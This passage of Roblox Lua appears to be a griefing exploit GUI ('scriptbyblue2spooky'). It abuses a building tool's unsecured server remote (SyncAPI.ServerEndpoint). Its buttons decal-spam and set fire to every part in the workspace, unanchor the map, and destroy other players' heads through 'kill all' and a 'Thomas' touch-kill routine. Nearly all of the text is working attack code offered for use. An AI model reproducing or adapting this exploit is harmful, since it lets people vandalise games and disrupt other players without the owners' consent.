				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("113990905248936")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.3, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Decal"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("113990905248936")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.3, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "kill all"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
	
			function KillAll()
				for i,v in game.Players:GetPlayers() do
					spawn(function()
						SetLocked(v.Character.Head,false)
						DestroyPart(v.Character.Head)
					end)
				end
			end
			KillAll()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.34, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Thomas"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			local player = game.Players.LocalPlayer
			local char = player.Character
	
			function xd()
				spawn(function()
					local args = {
						[1] = "SyncMaterial",
						[2] = {
							[1] = {
								["Part"] = game:GetService("Players").LocalPlayer.Character.Torso,
								["Transparency"] = 1
							},
							[2] = {
								["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"),
								["Transparency"] = 1
							},
							[3] = {
								["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
								["Transparency"] = 1
							},
							[4] = {
								["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"),
								["Transparency"] = 1
							},
							[5] = {
								["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"),
								["Transparency"] = 1
							},
							[6] = {
								["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"),
								["Transparency"] = 1
							},
							[7] = {
								["Part"] = game:GetService("Players").LocalPlayer.Character.Head,
								["Transparency"] = 1
							},
						}
					}
	
					_(args)
	
				end)
			end
	
			function Thomas(player)
				SetAnchor(true,char.HumanoidRootPart)
				CreatePart(char.HumanoidRootPart.CFrame,char,"Normal")
				SetCollision(char.Part,false)
				SetLocked(char.Part,false)
				Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame)
				CreateSpotlight(char.Part)
				SyncLighting(char.Part,100)
				SetLocked(char.HumanoidRootPart,false)
				Weld(char.Part,char.HumanoidRootPart,char.Part)
				SetAnchor(false,char.Part)
				AddMesh(char.Part)
				MeshResize(char.Part,Vector3.new(2,2,1.5))
				SetMesh(char.Part,"2231280549")
				SetTexture(char.Part,"2231280614")
				SetAnchor(false,char.HumanoidRootPart)
				char.Humanoid.WalkSpeed = 80
				local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
				char.Part.Touched:connect(function(p)
					if p.Parent then
						if p.Parent:IsA("Model") then
							if game.Players:FindFirstChild(p.Parent.Name) then
								if p.Parent.Name ~= game.Players.LocalPlayer.Name then
									spawn(function()
										DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head)
									end)
									local Whistle = SFX(475073913)
									Whistle:Play()
								end
							end
						end
					end
				end)
	
				local Music = SFX(0)
				Music.Pitch = 1.15
				Music:Play()
	
				game:GetService("RunService").RenderStepped:Connect(function()
					for i,v in char:GetDescendants() do
						if v:IsA("BasePart") then
							char.Humanoid.WalkSpeed = 80
							v.CanCollide = false
						end
					end
				end)
			end
			Thomas(player)
			xd()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.34, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Fire all"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function AddFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}
				_(args)
			end
			function FireParts()
				for i,v in game.Workspace:GetDescendants() do
					spawn(function()
						SetLocked(v,false)
						AddFire(v)
					end)
				end
			end
			FireParts()
	
			local player = game.Players.LocalPlayer
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.34, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Sparkle all"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function AddFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Sparkles"
						}
					}
				}
				_(args)
			end
			function FireParts()
				for i,v in game.Workspace:GetDescendants() do
					spawn(function()
						SetLocked(v,false)
						AddFire(v)
					end)
				end
			end
			FireParts()
	
			local player = game.Players.LocalPlayer
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.34, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "unanchor"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
	
			function Unanchor()
				for i,v in game.Workspace:GetDescendants() do
					spawn(function()
						SetLocked(v,false)
						SetAnchor(false,v)
					end)
				end
			end
			Unanchor()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.38, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Baseplate"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
